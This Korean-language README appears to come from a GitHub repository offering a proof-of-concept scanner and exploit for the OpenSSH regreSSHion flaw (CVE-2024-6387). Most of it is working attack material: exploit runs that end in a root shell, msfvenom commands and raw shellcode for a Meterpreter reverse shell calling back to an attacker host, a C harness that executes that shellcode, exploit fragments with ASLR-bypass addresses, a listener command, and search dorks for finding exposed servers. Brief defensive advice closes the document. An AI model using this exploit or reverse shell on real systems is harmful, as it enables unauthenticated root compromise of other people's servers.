l0n3m4n/cve-2024-6387PoC - OpenSSH 서버의 원격 비인증 코드 실행 취약점 (스캐너 및 익스플로잇)
CVE-2024-6387 - PoC참고: 이 스크립트는 빠른 프로토타입 PoC로, 일부 오류와 버그가 발생할 수 있습니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH 서버의 원격 비인증 코드 실행 취약점
OpenSSH 서버(sshd)에서 신호 처리기 경쟁 조건(race condition)이 발견되었습니다. 클라이언트가 LoginGraceTime 초(기본값 120, 이전 OpenSSH 버전에서는 600) 내에 인증하지 않으면 sshd의 SIGALRM 처리기가 비동기적으로 호출됩니다. 그러나 이 신호 처리기는 syslog()와 같이 async-signal-safe하지 않은 다양한 함수를 호출합니다.
기술적 세부 정보는 여기에서 확인할 수 있습니다.
Qualys의 연구원들이 May 2024에 발견하고 CVE-2024-6387 식별자를 부여받은 이 결함은 sshd의 신호 처리기 경쟁 조건으로 인한 것으로, 인증되지 않은 원격 공격자가 root 권한으로 임의 코드를 실행할 수 있게 합니다.
"클라이언트가 LoginGraceTime 초(기본값 120) 내에 인증하지 않으면 sshd의 SIGALRM 처리기가 비동기적으로 호출되며 async-signal-safe하지 않은 다양한 함수를 호출합니다,"
"원격 비인증 공격자는 이 결함을 악용하여 root 권한으로 임의 코드를 실행할 수 있습니다."
요구 사항: 최신 python3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access패치 관리: OpenSSH에 제공되는 패치를 신속하게 적용하는 것은 취약점 공백을 메우는 데 매우 중요합니다. 적시에 패치를 적용하면 알려진 익스플로잇이 시스템에 악용되는 것을 방지하여 공격자의 공격 기회 창을 줄일 수 있습니다.
강화된 접근 제어: 네트워크 기반 제어를 통해 SSH 접근을 제한하면 추가 방어 계층이 구축됩니다. 이 접근 방식은 SSH 연결을 승인된 네트워크 또는 IP 주소로만 제한하여 잠재적 공격자에 대한 노출을 최소화합니다. 방화벽 규칙과 같은 도구를 구현하거나 안전한 접근을 위해 VPN을 사용하면 이러한 제한을 효과적으로 적용할 수 있습니다.
네트워크 분할: 네트워크를 세그먼트로 분할하면 잠재적 침해의 영향을 억제하는 데 도움이 됩니다. 중요 시스템과 민감한 데이터를 네트워크의 덜 중요한 부분과 분리하면 공격자의 측면 이동(lateral movement) 위험을 줄일 수 있습니다. 이러한 분할은 엄격한 접근 제어 및 모니터링과 함께 적용하여 이러한 세그먼트를 침해하려는 무단 시도를 탐지하고 대응할 수 있습니다.
침입 탐지 시스템 (IDS): IDS 또는 침입 방지 시스템(IPS)을 배포하면 네트워크 트래픽과 시스템 로그를 실시간으로 모니터링할 수 있습니다. 이러한 시스템은 regreSSHion 취약점과 관련된 의심스러운 활동과 잠재적 악용 시도를 탐지할 수 있습니다. 이러한 시스템에서 발생하는 경보를 통해 심각한 피해가 발생하기 전에 신속한 조사와 완화 조치를 취할 수 있습니다.
공격 시도 모니터링: 네트워크 및 시스템 로그의 지속적인 모니터링은 매우 중요합니다. OpenSSH 취약점을 악용하려는 시도를 나타낼 수 있는 비정상적인 패턴이나 활동을 찾아보십시오. 이러한 사전 예방적 접근 방식은 위협이 피해를 입히기 전에 식별하고 대응하는 데 도움이 됩니다.